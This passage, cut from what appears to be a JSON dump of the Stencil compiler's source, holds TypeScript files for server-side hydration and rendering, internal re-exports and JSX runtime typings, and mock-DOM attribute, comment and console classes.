    "content": "import type * as d from '../../declarations';\n\nexport function normalizeHydrateOptions(inputOpts?: d.HydrateDocumentOptions) {\n  const outputOpts: d.HydrateFactoryOptions = Object.assign(\n    {\n      serializeToHtml: false,\n      destroyWindow: false,\n      destroyDocument: false,\n    },\n    inputOpts || {},\n  );\n\n  if (typeof outputOpts.clientHydrateAnnotations !== 'boolean') {\n    outputOpts.clientHydrateAnnotations = true;\n  }\n\n  if (typeof outputOpts.constrainTimeouts !== 'boolean') {\n    outputOpts.constrainTimeouts = true;\n  }\n\n  if (typeof outputOpts.maxHydrateCount !== 'number') {\n    outputOpts.maxHydrateCount = 300;\n  }\n\n  if (typeof outputOpts.runtimeLogging !== 'boolean') {\n    outputOpts.runtimeLogging = false;\n  }\n\n  if (typeof outputOpts.timeout !== 'number') {\n    outputOpts.timeout = 15000;\n  }\n\n  if (Array.isArray(outputOpts.excludeComponents)) {\n    outputOpts.excludeComponents = outputOpts.excludeComponents.filter(filterValidTags).map(mapValidTags);\n  } else {\n    outputOpts.excludeComponents = [];\n  }\n\n  if (Array.isArray(outputOpts.staticComponents)) {\n    outputOpts.staticComponents = outputOpts.staticComponents.filter(filterValidTags).map(mapValidTags);\n  } else {\n    outputOpts.staticComponents = [];\n  }\n\n  return outputOpts;\n}\n\nfunction filterValidTags(tag: string) {\n  return typeof tag === 'string' && tag.includes('-');\n}\n\nfunction mapValidTags(tag: string) {\n  return tag.trim().toLowerCase();\n}\n\nexport function generateHydrateResults(opts: d.HydrateDocumentOptions) {\n  if (typeof opts.url !== 'string') {\n    opts.url = `https://hydrate.stenciljs.com/`;\n  }\n\n  if (typeof opts.buildId !== 'string') {\n    opts.buildId = createHydrateBuildId();\n  }\n  const results: d.HydrateResults = {\n    buildId: opts.buildId,\n    diagnostics: [],\n    url: opts.url,\n    host: null,\n    hostname: null,\n    href: null,\n    pathname: null,\n    port: null,\n    search: null,\n    hash: null,\n    html: null,\n    httpStatus: null,\n    hydratedCount: 0,\n    anchors: [],\n    components: [],\n    imgs: [],\n    scripts: [],\n    staticData: [],\n    styles: [],\n    title: null,\n  };\n\n  try {\n    const url = new URL(opts.url, `https://hydrate.stenciljs.com/`);\n    results.url = url.href;\n    results.host = url.host;\n    results.hostname = url.hostname;\n    results.href = url.href;\n    results.port = url.port;\n    results.pathname = url.pathname;\n    results.search = url.search;\n    results.hash = url.hash;\n  } catch (e) {\n    renderCatchError(results, e);\n  }\n\n  return results;\n}\n\nexport const createHydrateBuildId = () => {\n  // should be case insensitive because it could be in a URL\n  // and shouldn't start with a number cuz we might use it as a js prop\n  let chars = 'abcdefghijklmnopqrstuvwxyz';\n  let buildId = '';\n  while (buildId.length < 8) {\n    const char = chars[Math.floor(Math.random() * chars.length)];\n    buildId += char;\n    if (buildId.length === 1) {\n      chars += '0123456789';\n    }\n  }\n  return buildId;\n};\n\nexport function renderBuildDiagnostic(\n  results: d.HydrateResults,\n  level: 'error' | 'warn' | 'info' | 'log' | 'debug',\n  header: string,\n  msg: string,\n) {\n  const diagnostic: d.Diagnostic = {\n    level: level,\n    type: 'build',\n    header: header,\n    messageText: msg,\n    relFilePath: undefined,\n    absFilePath: undefined,\n    lines: [],\n  };\n\n  if (results.pathname) {\n    if (results.pathname !== '/') {\n      diagnostic.header += ': ' + results.pathname;\n    }\n  } else if (results.url) {\n    diagnostic.header += ': ' + results.url;\n  }\n\n  results.diagnostics.push(diagnostic);\n  return diagnostic;\n}\n\nexport function renderBuildError(results: d.HydrateResults, msg?: string) {\n  return renderBuildDiagnostic(results, 'error', 'Hydrate Error', msg || '');\n}\n\nexport function renderCatchError(results: d.HydrateResults, err: any) {\n  const diagnostic = renderBuildError(results);\n\n  if (err != null) {\n    if (err.stack != null) {\n      diagnostic.messageText = err.stack.toString();\n    } else {\n      if (err.message != null) {\n        diagnostic.messageText = err.message.toString();\n      } else {\n        diagnostic.messageText = err.toString();\n      }\n    }\n  }\n\n  return diagnostic;\n}\n"
  },
  {
    "path": "src/hydrate/runner/render.ts",
    "content": "import { Readable } from 'node:stream';\n\nimport { hydrateFactory } from '@hydrate-factory';\nimport { modeResolutionChain, setMode } from '@platform';\nimport { HYDRATED_STYLE_ID } from '@runtime';\nimport { MockWindow, serializeNodeToHtml } from '@stencil/core/mock-doc';\nimport { hasError } from '@utils';\n\nimport { updateCanonicalLink } from '../../compiler/html/canonical-link';\nimport { relocateMetaCharset } from '../../compiler/html/relocate-meta-charset';\nimport { removeUnusedStyles } from '../../compiler/html/remove-unused-styles';\nimport type {\n  HydrateDocumentOptions,\n  HydrateFactoryOptions,\n  HydrateResults,\n  SerializeDocumentOptions,\n} from '../../declarations';\nimport { inspectElement } from './inspect-element';\nimport { patchDomImplementation } from './patch-dom-implementation';\nimport { generateHydrateResults, normalizeHydrateOptions, renderBuildError, renderCatchError } from './render-utils';\nimport { initializeWindow } from './window-initialize';\n\nconst NOOP = () => {};\n\nexport function streamToString(html: string | any, option?: SerializeDocumentOptions) {\n  return renderToString(html, option, true);\n}\n\nexport function renderToString(html: string | any, options?: SerializeDocumentOptions): Promise<HydrateResults>;\nexport function renderToString(\n  html: string | any,\n  options: SerializeDocumentOptions | undefined,\n  asStream: true,\n): Readable;\nexport function renderToString(\n  html: string | any,\n  options?: SerializeDocumentOptions,\n  asStream?: boolean,\n): Promise<HydrateResults> | Readable {\n  const opts = normalizeHydrateOptions(options);\n  /**\n   * Makes the rendered DOM not being rendered to a string.\n   */\n  opts.serializeToHtml = true;\n  /**\n   * Set the flag whether or not we like to render into a declarative shadow root.\n   */\n  opts.fullDocument = typeof opts.fullDocument === 'boolean' ? opts.fullDocument : true;\n  /**\n   * Defines whether we render the shadow root as a declarative shadow root or as scoped shadow root.\n   */\n  opts.serializeShadowRoot =\n    typeof opts.serializeShadowRoot === 'undefined' ? 'declarative-shadow-dom' : opts.serializeShadowRoot;\n  /**\n   * Make sure we wait for components to be hydrated.\n   */\n  opts.constrainTimeouts = false;\n\n  return hydrateDocument(html, opts, asStream);\n}\n\nexport function hydrateDocument(doc: any | string, options?: HydrateDocumentOptions): Promise<HydrateResults>;\nexport function hydrateDocument(\n  doc: any | string,\n  options: HydrateDocumentOptions | undefined,\n  asStream?: boolean,\n): Readable;\nexport function hydrateDocument(\n  doc: any | string,\n  options?: HydrateDocumentOptions,\n  asStream?: boolean,\n): Promise<HydrateResults> | Readable {\n  const opts = normalizeHydrateOptions(options);\n  /**\n   * Defines whether we render the shadow root as a declarative shadow root or as scoped shadow root.\n   */\n  opts.serializeShadowRoot =\n    typeof opts.serializeShadowRoot === 'undefined' ? 'declarative-shadow-dom' : opts.serializeShadowRoot;\n\n  let win: MockWindow | null = null;\n  const results = generateHydrateResults(opts);\n\n  if (hasError(results.diagnostics)) {\n    return Promise.resolve(results);\n  }\n\n  if (typeof doc === 'string') {\n    try {\n      opts.destroyWindow = true;\n      opts.destroyDocument = true;\n      win = new MockWindow(doc);\n\n      if (!asStream) {\n        return render(win, opts, results).then(() => results);\n      }\n\n      return renderStream(win, opts, results);\n    } catch (e) {\n      if (win && win.close) {\n        win.close();\n      }\n      win = null;\n      renderCatchError(results, e);\n      return Promise.resolve(results);\n    }\n  }\n\n  if (isValidDocument(doc)) {\n    try {\n      opts.destroyDocument = false;\n      win = patchDomImplementation(doc, opts);\n\n      if (!asStream) {\n        return render(win, opts, results).then(() => results);\n      }\n\n      return renderStream(win, opts, results);\n    } catch (e) {\n      if (win && win.close) {\n        win.close();\n      }\n      win = null;\n      renderCatchError(results, e);\n      return Promise.resolve(results);\n    }\n  }\n\n  renderBuildError(results, `Invalid html or document. Must be either a valid \"html\" string, or DOM \"document\".`);\n  return Promise.resolve(results);\n}\n\nasync function render(win: MockWindow, opts: HydrateFactoryOptions, results: HydrateResults) {\n  if ('process' in globalThis && typeof process.on === 'function' && !(process as any).__stencilErrors) {\n    (process as any).__stencilErrors = true;\n    process.on('unhandledRejection', (e) => {\n      console.log('unhandledRejection', e);\n    });\n  }\n\n  initializeWindow(win, win.document, opts, results);\n  const beforeHydrateFn = typeof opts.beforeHydrate === 'function' ? opts.beforeHydrate : NOOP;\n  try {\n    await Promise.resolve(beforeHydrateFn(win.document));\n    return new Promise<HydrateResults>((resolve) => {\n      if (Array.isArray(opts.modes)) {\n        /**\n         * Reset the mode resolution chain as we expect every `renderToString` call to render\n         * the components in new environment/document.\n         */\n        modeResolutionChain.length = 0;\n        opts.modes.forEach((mode) => setMode(mode));\n      }\n      return hydrateFactory(win, opts, results, afterHydrate, resolve);\n    });\n  } catch (e) {\n    renderCatchError(results, e);\n    return finalizeHydrate(win, win.document, opts, results);\n  }\n}\n\n/**\n * Wrapper around `render` method to enable streaming by returning a Readable instead of a promise.\n * @param win MockDoc window object\n * @param opts serialization options\n * @param results render result object\n * @returns a Readable that can be passed into a response\n */\nfunction renderStream(win: MockWindow, opts: HydrateFactoryOptions, results: HydrateResults) {\n  async function* processRender() {\n    const renderResult = await render(win, opts, results);\n    yield renderResult.html;\n  }\n\n  return Readable.from(processRender());\n}\n\nasync function afterHydrate(\n  win: MockWindow,\n  opts: HydrateFactoryOptions,\n  results: HydrateResults,\n  resolve: (results: HydrateResults) => void,\n) {\n  const afterHydrateFn = typeof opts.afterHydrate === 'function' ? opts.afterHydrate : NOOP;\n  try {\n    await Promise.resolve(afterHydrateFn(win.document));\n    return resolve(finalizeHydrate(win, win.document, opts, results));\n  } catch (e) {\n    renderCatchError(results, e);\n    return resolve(finalizeHydrate(win, win.document, opts, results));\n  }\n}\n\nfunction finalizeHydrate(win: MockWindow, doc: Document, opts: HydrateFactoryOptions, results: HydrateResults) {\n  try {\n    inspectElement(results, doc.documentElement, 0);\n\n    if (opts.removeUnusedStyles !== false) {\n      try {\n        removeUnusedStyles(doc, results.diagnostics);\n      } catch (e) {\n        renderCatchError(results, e);\n      }\n    }\n\n    if (typeof opts.title === 'string') {\n      try {\n        doc.title = opts.title;\n      } catch (e) {\n        renderCatchError(results, e);\n      }\n    }\n\n    results.title = doc.title;\n\n    if (opts.removeScripts) {\n      removeScripts(doc.documentElement);\n    }\n\n    const styles = doc.querySelectorAll('head style');\n    if (styles.length > 0) {\n      results.styles.push(\n        ...Array.from(styles).map((style) => ({\n          href: style.getAttribute('href'),\n          id: style.getAttribute(HYDRATED_STYLE_ID),\n          content: style.textContent,\n        })),\n      );\n    }\n\n    try {\n      updateCanonicalLink(doc, opts.canonicalUrl);\n    } catch (e) {\n      renderCatchError(results, e);\n    }\n\n    try {\n      relocateMetaCharset(doc);\n    } catch (e) {}\n\n    if (!hasError(results.diagnostics)) {\n      results.httpStatus = 200;\n    }\n\n    try {\n      const metaStatus = doc.head.querySelector('meta[http-equiv=\"status\"]');\n      if (metaStatus != null) {\n        const metaStatusContent = metaStatus.getAttribute('content');\n        if (metaStatusContent && metaStatusContent.length > 0) {\n          results.httpStatus = parseInt(metaStatusContent, 10);\n        }\n      }\n    } catch (e) {}\n\n    if (opts.clientHydrateAnnotations) {\n      doc.documentElement.classList.add('hydrated');\n    }\n\n    if (opts.serializeToHtml) {\n      results.html = serializeDocumentToString(doc, opts);\n    }\n  } catch (e) {\n    renderCatchError(results, e);\n  }\n\n  destroyWindow(win, doc, opts, results);\n  return results;\n}\n\nfunction destroyWindow(win: MockWindow, doc: Document, opts: HydrateFactoryOptions, results: HydrateResults) {\n  if (!opts.destroyWindow) {\n    return;\n  }\n\n  try {\n    if (!opts.destroyDocument) {\n      (win as any).document = null;\n      (doc as any).defaultView = null;\n    }\n\n    if (win.close) {\n      win.close();\n    }\n  } catch (e) {\n    renderCatchError(results, e);\n  }\n}\n\nexport function serializeDocumentToString(doc: Document, opts: HydrateFactoryOptions) {\n  return serializeNodeToHtml(doc, {\n    approximateLineWidth: opts.approximateLineWidth,\n    outerHtml: false,\n    prettyHtml: opts.prettyHtml,\n    removeAttributeQuotes: opts.removeAttributeQuotes,\n    removeBooleanAttributeQuotes: opts.removeBooleanAttributeQuotes,\n    removeEmptyAttributes: opts.removeEmptyAttributes,\n    removeHtmlComments: opts.removeHtmlComments,\n    serializeShadowRoot: opts.serializeShadowRoot,\n    fullDocument: opts.fullDocument,\n  });\n}\n\nfunction isValidDocument(doc: Document) {\n  return (\n    doc != null &&\n    doc.nodeType === 9 &&\n    doc.documentElement != null &&\n    doc.documentElement.nodeType === 1 &&\n    doc.body != null &&\n    doc.body.nodeType === 1\n  );\n}\n\nfunction removeScripts(elm: HTMLElement) {\n  const children = elm.children;\n  for (let i = children.length - 1; i >= 0; i--) {\n    const child = children[i];\n    removeScripts(child as any);\n\n    if (child.nodeName === 'SCRIPT' || (child.nodeName === 'LINK' && child.getAttribute('rel') === 'modulepreload')) {\n      child.remove();\n    }\n  }\n}\n"
  },
  {
    "path": "src/hydrate/runner/runtime-log.ts",
    "content": "import { MockWindow } from '@stencil/core/mock-doc';\n\nimport type * as d from '../../declarations';\nimport { renderBuildDiagnostic, renderCatchError } from './render-utils';\n\nexport function runtimeLogging(win: MockWindow, opts: d.HydrateDocumentOptions, results: d.HydrateResults) {\n  try {\n    const pathname = win.location.pathname;\n\n    win.console.error = (...msgs: any[]) => {\n      const errMsg = msgs\n        .reduce<string>((errMsg, m) => {\n          if (m) {\n            if (m.stack != null) {\n              return errMsg + ' ' + String(m.stack);\n            } else {\n              if (m.message != null) {\n                return errMsg + ' ' + String(m.message);\n              }\n            }\n          }\n          return String(m);\n        }, '')\n        .trim();\n\n      if (errMsg !== '') {\n        renderCatchError(results, errMsg);\n\n        if (opts.runtimeLogging) {\n          runtimeLog(pathname, 'error', [errMsg]);\n        }\n      }\n    };\n\n    win.console.debug = (...msgs: any[]) => {\n      renderBuildDiagnostic(results, 'debug', 'Hydrate Debug', [...msgs].join(', '));\n      if (opts.runtimeLogging) {\n        runtimeLog(pathname, 'debug', msgs);\n      }\n    };\n\n    if (opts.runtimeLogging) {\n      ['log', 'warn', 'assert', 'info', 'trace'].forEach((type) => {\n        (win.console as any)[type] = (...msgs: any[]) => {\n          runtimeLog(pathname, type, msgs);\n        };\n      });\n    }\n  } catch (e) {\n    renderCatchError(results, e);\n  }\n}\n\nfunction runtimeLog(pathname: string, type: string, msgs: any[]) {\n  (global.console as any)[type].apply(global.console, [`[ ${pathname}  ${type} ] `, ...msgs]);\n}\n"
  },
  {
    "path": "src/hydrate/runner/window-initialize.ts",
    "content": "import { constrainTimeouts, type MockWindow } from '@stencil/core/mock-doc';\nimport { STENCIL_DOC_DATA } from 'src/runtime/runtime-constants';\n\nimport type * as d from '../../declarations';\nimport { runtimeLogging } from './runtime-log';\n\n/**\n * Maintain a unique `docData` object across multiple hydration runs\n * to ensure that host ids remain unique.\n */\nconst docData: d.DocData = {\n  hostIds: 0,\n  rootLevelIds: 0,\n  staticComponents: new Set<string>(),\n} as d.DocData;\n\nexport function initializeWindow(\n  win: MockWindow,\n  doc: Document,\n  opts: d.HydrateDocumentOptions,\n  results: d.HydrateResults,\n) {\n  if (typeof opts.url === 'string') {\n    try {\n      win.location.href = opts.url;\n    } catch (e) {}\n  }\n\n  if (typeof opts.userAgent === 'string') {\n    try {\n      win.navigator.userAgent = opts.userAgent;\n    } catch (e) {}\n  }\n  if (typeof opts.cookie === 'string') {\n    try {\n      doc.cookie = opts.cookie;\n    } catch (e) {}\n  }\n  if (typeof opts.referrer === 'string') {\n    try {\n      (doc as any).referrer = opts.referrer;\n    } catch (e) {}\n  }\n  if (typeof opts.direction === 'string') {\n    try {\n      doc.documentElement.setAttribute('dir', opts.direction);\n    } catch (e) {}\n  }\n  if (typeof opts.language === 'string') {\n    try {\n      doc.documentElement.setAttribute('lang', opts.language);\n    } catch (e) {}\n  }\n  if (typeof opts.buildId === 'string') {\n    try {\n      doc.documentElement.setAttribute('data-stencil-build', opts.buildId);\n    } catch (e) {}\n  }\n\n  try {\n    // TODO(STENCIL-345) - Evaluate reconciling MockWindow, Window differences\n    // @ts-ignore\n    win.customElements = null;\n  } catch (e) {}\n\n  if (opts.constrainTimeouts) {\n    constrainTimeouts(win);\n  }\n\n  runtimeLogging(win, opts, results);\n\n  (doc as d.StencilDocument)[STENCIL_DOC_DATA] = docData;\n\n  return win;\n}\n"
  },
  {
    "path": "src/index.ts",
    "content": "export * from './internal/stencil-core';\n"
  },
  {
    "path": "src/internal/default.ts",
    "content": "export * from '@stencil/core/internal/client';\n"
  },
  {
    "path": "src/internal/index.ts",
    "content": "export * from '../declarations';\n"
  },
  {
    "path": "src/internal/readme.md",
    "content": "# @stencil/core/internal\n\nNOTE!! The `@stencil/core/internal` package is not meant to be consumed directly by anything other than Stencil internals. It is its own package so that it can be resolved by Stencil, but breaking changes can/will happen at any time. This isn't a \"use at your own discretion\" moment, but it's more of a \"never use this because your code will break\" fact.\n\n\n## `index.ts`\n\nThis is the main entry file for all of Stencil's internals, such as Stencil's runtime and compiler types. However, any public references to the internals are found in `declarations/stencil-core.ts` and `internal/default.ts`. This file is largely used to generate all of Stencil's internal types. But the transpiled JavaScript from this is not exposed.\n\n\n## `default.ts`\n\nBy default, when Stencil resolves `@stencil/core/internal`, it's going to assume it wants the `client` internals (rather than `hydrate`). So by default, `@stencil/core/internal` actually points to `@stencil/core/internal/client`.\n"
  },
  {
    "path": "src/internal/stencil-core/index.cjs",
    "content": "exports.h = function () {};\n"
  },
  {
    "path": "src/internal/stencil-core/index.d.ts",
    "content": "export type { StencilConfig as Config, PrerenderConfig } from '../stencil-public-compiler';\nexport type {\n  ChildNode,\n  ComponentDidLoad,\n  ComponentDidUpdate,\n  ComponentInterface,\n  ComponentOptions,\n  ComponentWillLoad,\n  ComponentWillUpdate,\n  EventEmitter,\n  EventOptions,\n  FunctionalComponent,\n  FunctionalUtilities,\n  JSX,\n  ListenOptions,\n  ListenTargetOptions,\n  MethodOptions,\n  ModeStyles,\n  PropOptions,\n  QueueApi,\n  RafCallback,\n  VNode,\n  VNodeData,\n} from '../stencil-public-runtime';\nexport {\n  AttrDeserialize,\n  PropSerialize,\n  AttachInternals,\n  Build,\n  Component,\n  Element,\n  Env,\n  Event,\n  forceUpdate,\n  Fragment,\n  getAssetPath,\n  getElement,\n  getMode,\n  getRenderingRef,\n  h,\n  Host,\n  Listen,\n  Method,\n  MixedInCtor,\n  Mixin,\n  MixinFactory,\n  Prop,\n  readTask,\n  render,\n  resolveVar,\n  setAssetPath,\n  setErrorHandler,\n  setMode,\n  setNonce,\n  setPlatformHelpers,\n  setTagTransformer,\n  State,\n  transformTag,\n  Watch,\n  writeTask,\n} from '../stencil-public-runtime';\n"
  },
  {
    "path": "src/internal/stencil-core/index.js",
    "content": "export {\n  Build,\n  forceUpdate,\n  getAssetPath,\n  getElement,\n  getMode,\n  getRenderingRef,\n  h,\n  Host,\n  Mixin,\n  readTask,\n  render,\n  setAssetPath,\n  setErrorHandler,\n  setMode,\n  setPlatformHelpers,\n  writeTask,\n} from '../client/index.js';\n"
  },
  {
    "path": "src/internal/stencil-core/jsx-dev-runtime.cjs",
    "content": "// Export automatic JSX development runtime (CommonJS)\n// Note: This requires the client platform to be built\nconst client = require('../client/index.js');\nmodule.exports = {\n  jsxDEV: client.jsxDEV,\n  Fragment: client.Fragment,\n};\n"
  },
  {
    "path": "src/internal/stencil-core/jsx-dev-runtime.d.ts",
    "content": "/**\n * Automatic JSX Development Runtime type definitions for Stencil\n *\n * This module provides TypeScript type definitions for the automatic JSX development runtime.\n * When using \"jsx\": \"react-jsxdev\" in tsconfig.json with \"jsxImportSource\": \"@stencil/core\",\n * TypeScript will automatically import from this module in development mode.\n */\n\nimport type { VNode, JSXBase } from '../stencil-public-runtime';\nimport type { JSX as LocalJSX } from '../stencil-public-runtime';\n\nexport { Fragment } from '../stencil-public-runtime';\n\n/**\n * JSX development runtime function for creating elements with debug info.\n */\nexport function jsxDEV(\n  type: any,\n  props: any,\n  key?: string | number,\n  isStaticChildren?: boolean,\n  source?: any,\n  self?: any,\n): VNode;\n\n/**\n * JSX namespace for TypeScript's automatic JSX runtime.\n * This is required for TypeScript to resolve JSX element types when using\n * \"jsx\": \"react-jsxdev\" with \"jsxImportSource\": \"@stencil/core\".\n */\nexport namespace JSX {\n  type BaseElements = LocalJSX.IntrinsicElements & JSXBase.IntrinsicElements;\n\n  export type IntrinsicElements = {\n    [K in keyof BaseElements]: BaseElements[K] & { children?: any };\n  } & {\n    [tagName: string]: any;\n  };\n\n  export type Element = VNode | VNode[] | null;\n}\n"
  },
  {
    "path": "src/internal/stencil-core/jsx-dev-runtime.js",
    "content": "// Re-export from the client platform (same pattern as index.js)\nexport { jsxDEV, Fragment } from '../client/index.js';\n"
  },
  {
    "path": "src/internal/stencil-core/jsx-runtime.cjs",
    "content": "// Export automatic JSX runtime (CommonJS)\n// Note: This requires the client platform to be built\nconst client = require('../client/index.js');\nmodule.exports = {\n  jsx: client.jsx,\n  jsxs: client.jsxs,\n  Fragment: client.Fragment,\n};\n"
  },
  {
    "path": "src/internal/stencil-core/jsx-runtime.d.ts",
    "content": "/**\n * Automatic JSX Runtime type definitions for Stencil\n *\n * This module provides TypeScript type definitions for the automatic JSX runtime.\n * When using \"jsx\": \"react-jsx\" or \"jsx\": \"react-jsxdev\" in tsconfig.json with\n * \"jsxImportSource\": \"@stencil/core\", TypeScript will automatically import from\n * these modules instead of requiring manual `h` imports.\n */\n\nimport type { VNode, JSXBase } from '../stencil-public-runtime';\nimport type { JSX as LocalJSX } from '../stencil-public-runtime';\n\nexport { Fragment } from '../stencil-public-runtime';\n\n/**\n * JSX runtime function for creating elements in production mode.\n */\nexport function jsx(type: any, props: any, key?: string): VNode;\n\n/**\n * JSX runtime function for creating elements with static children.\n */\nexport function jsxs(type: any, props: any, key?: string): VNode;\n\n/**\n+ * JSX namespace for TypeScript's automatic JSX runtime.\n+ * This is required for TypeScript to resolve JSX element types when using\n+ * \"jsx\": \"react-jsx\" with \"jsxImportSource\": \"@stencil/core\".\n+ */\nexport namespace JSX {\n  type BaseElements = LocalJSX.IntrinsicElements & JSXBase.IntrinsicElements;\n\n  export type IntrinsicElements = {\n    [K in keyof BaseElements]: BaseElements[K] & { children?: any };\n  } & {\n    [tagName: string]: any;\n  };\n\n  export type Element = VNode | VNode[] | null;\n}\n"
  },
  {
    "path": "src/internal/stencil-core/jsx-runtime.js",
    "content": "// Re-export from the client platform (same pattern as index.js)\nexport { jsx, jsxs, Fragment } from '../client/index.js';\n"
  },
  {
    "path": "src/internal/testing/jsx-dev-runtime.d.ts",
    "content": "// Type definitions for automatic JSX development runtime in testing\nexport { jsxDEV, Fragment, JSX } from '../stencil-core/jsx-dev-runtime';\n"
  },
  {
    "path": "src/internal/testing/jsx-dev-runtime.js",
    "content": "// Export automatic JSX development runtime for testing\n// This file allows TypeScript's automatic JSX transform to work in tests\n// when using jsxImportSource: \"@stencil/core/internal/testing\" with jsx: \"react-jsxdev\"\nconst testing = require('./index.js');\nmodule.exports = {\n  jsxDEV: testing.jsxDEV,\n  Fragment: testing.Fragment,\n};\n"
  },
  {
    "path": "src/internal/testing/jsx-runtime.d.ts",
    "content": "// Type definitions for automatic JSX runtime in testing\nexport { jsx, jsxs, Fragment, JSX } from '../stencil-core/jsx-runtime';\n"
  },
  {
    "path": "src/internal/testing/jsx-runtime.js",
    "content": "// Export automatic JSX runtime for testing\n// This file allows TypeScript's automatic JSX transform to work in tests\n// when using jsxImportSource: \"@stencil/core/internal/testing\"\nconst testing = require('./index.js');\nmodule.exports = {\n  jsx: testing.jsx,\n  jsxs: testing.jsxs,\n  Fragment: testing.Fragment,\n};\n"
  },
  {
    "path": "src/mock-doc/attribute.ts",
    "content": "import { XLINK_NS } from '../runtime/runtime-constants';\n\nconst attrHandler = {\n  get(obj: any, prop: string) {\n    if (prop in obj) {\n      return obj[prop];\n    }\n    if (typeof prop !== 'symbol' && !isNaN(prop as any)) {\n      return (obj as MockAttributeMap).__items[prop as any];\n    }\n    return undefined;\n  },\n};\n\nexport const createAttributeProxy = (caseInsensitive: boolean) =>\n  new Proxy(new MockAttributeMap(caseInsensitive), attrHandler);\n\nexport class MockAttributeMap {\n  __items: MockAttr[] = [];\n\n  constructor(public caseInsensitive = false) {}\n\n  get length() {\n    return this.__items.length;\n  }\n\n  item(index: number) {\n    return this.__items[index] || null;\n  }\n\n  setNamedItem(attr: MockAttr) {\n    attr.namespaceURI = null;\n    this.setNamedItemNS(attr);\n  }\n\n  setNamedItemNS(attr: MockAttr) {\n    if (attr != null && attr.value != null) {\n      attr.value = String(attr.value);\n    }\n\n    const existingAttr = this.__items.find((a) => a.name === attr.name && a.namespaceURI === attr.namespaceURI);\n    if (existingAttr != null) {\n      existingAttr.value = attr.value;\n    } else {\n      this.__items.push(attr);\n    }\n  }\n\n  getNamedItem(attrName: string) {\n    if (this.caseInsensitive) {\n      attrName = attrName.toLowerCase();\n    }\n    return this.getNamedItemNS(null, attrName);\n  }\n\n  getNamedItemNS(namespaceURI: string | null, attrName: string) {\n    namespaceURI = getNamespaceURI(namespaceURI);\n    return (\n      this.__items.find((attr) => attr.name === attrName && getNamespaceURI(attr.namespaceURI) === namespaceURI) || null\n    );\n  }\n\n  removeNamedItem(attr: MockAttr) {\n    this.removeNamedItemNS(attr);\n  }\n\n  removeNamedItemNS(attr: MockAttr) {\n    for (let i = 0, ii = this.__items.length; i < ii; i++) {\n      if (this.__items[i].name === attr.name && this.__items[i].namespaceURI === attr.namespaceURI) {\n        this.__items.splice(i, 1);\n        break;\n      }\n    }\n  }\n\n  [Symbol.iterator]() {\n    let i = 0;\n\n    return {\n      next: () => ({\n        done: i === this.length,\n        value: this.item(i++),\n      }),\n    };\n  }\n\n  get [Symbol.toStringTag]() {\n    return 'MockAttributeMap';\n  }\n}\n\nfunction getNamespaceURI(namespaceURI: string | null) {\n  return namespaceURI === XLINK_NS ? null : namespaceURI;\n}\n\nexport function cloneAttributes(srcAttrs: MockAttributeMap, sortByName = false) {\n  const dstAttrs = new MockAttributeMap(srcAttrs.caseInsensitive);\n  if (srcAttrs != null) {\n    const attrLen = srcAttrs.length;\n\n    if (sortByName && attrLen > 1) {\n      const sortedAttrs: MockAttr[] = [];\n      for (let i = 0; i < attrLen; i++) {\n        const srcAttr = srcAttrs.item(i);\n        const dstAttr = new MockAttr(srcAttr.name, srcAttr.value, srcAttr.namespaceURI);\n        sortedAttrs.push(dstAttr);\n      }\n\n      sortedAttrs.sort(sortAttributes).forEach((attr) => {\n        dstAttrs.setNamedItemNS(attr);\n      });\n    } else {\n      for (let i = 0; i < attrLen; i++) {\n        const srcAttr = srcAttrs.item(i);\n        const dstAttr = new MockAttr(srcAttr.name, srcAttr.value, srcAttr.namespaceURI);\n        dstAttrs.setNamedItemNS(dstAttr);\n      }\n    }\n  }\n  return dstAttrs;\n}\n\nfunction sortAttributes(a: MockAttr, b: MockAttr) {\n  if (a.name < b.name) return -1;\n  if (a.name > b.name) return 1;\n  return 0;\n}\n\nexport class MockAttr {\n  private _name: string;\n  private _value: string;\n  private _namespaceURI: string | null;\n\n  constructor(attrName: string, attrValue: string, namespaceURI: string | null = null) {\n    this._name = attrName;\n    this._value = String(attrValue);\n    this._namespaceURI = namespaceURI;\n  }\n\n  get name() {\n    return this._name;\n  }\n  set name(value) {\n    this._name = value;\n  }\n\n  get value() {\n    return this._value;\n  }\n  set value(value) {\n    this._value = String(value);\n  }\n\n  get nodeName() {\n    return this._name;\n  }\n  set nodeName(value) {\n    this._name = value;\n  }\n\n  get nodeValue() {\n    return this._value;\n  }\n  set nodeValue(value) {\n    this._value = String(value);\n  }\n\n  get namespaceURI() {\n    return this._namespaceURI;\n  }\n  set namespaceURI(namespaceURI) {\n    this._namespaceURI = namespaceURI;\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/comment-node.ts",
    "content": "import { NODE_NAMES, NODE_TYPES } from './constants';\nimport { MockNode } from './node';\n\nexport class MockComment extends MockNode {\n  constructor(ownerDocument: any, data: string) {\n    super(ownerDocument, NODE_TYPES.COMMENT_NODE, NODE_NAMES.COMMENT_NODE, data);\n  }\n\n  override cloneNode(_deep?: boolean) {\n    return new MockComment(null, this.nodeValue);\n  }\n\n  override get textContent() {\n    return this.nodeValue;\n  }\n\n  override set textContent(text) {\n    this.nodeValue = text;\n  }\n}\n"
  },
  {
    "path": "src/mock-doc/console.ts",
    "content": "const consoleNoop = () => {\n  /**/\n};\n\nexport function createConsole(): any {\n  return {\n    debug: consoleNoop,\n    error: consoleNoop,\n    info: consoleNoop,\n    log: consoleNoop,\n    warn: consoleNoop,\n    dir: consoleNoop,\n    dirxml: consoleNoop,\n    table: consoleNoop,\n    trace: consoleNoop,\n    group: consoleNoop,\n    groupCollapsed: consoleNoop,\n    groupEnd: consoleNoop,\n    clear: consoleNoop,\n    count: consoleNoop,\n    countReset: consoleNoop,\n    assert: consoleNoop,\n    profile: consoleNoop,\n    profileEnd: consoleNoop,\n    time: consoleNoop,\n    timeLog: consoleNoop,\n    timeEnd: consoleNoop,\n    timeStamp: consoleNoop,\n    context: consoleNoop,\n    memory: consoleNoop,\n  };\n}\n"
  },
  {
    "path": "src/mock-doc/constants.ts",
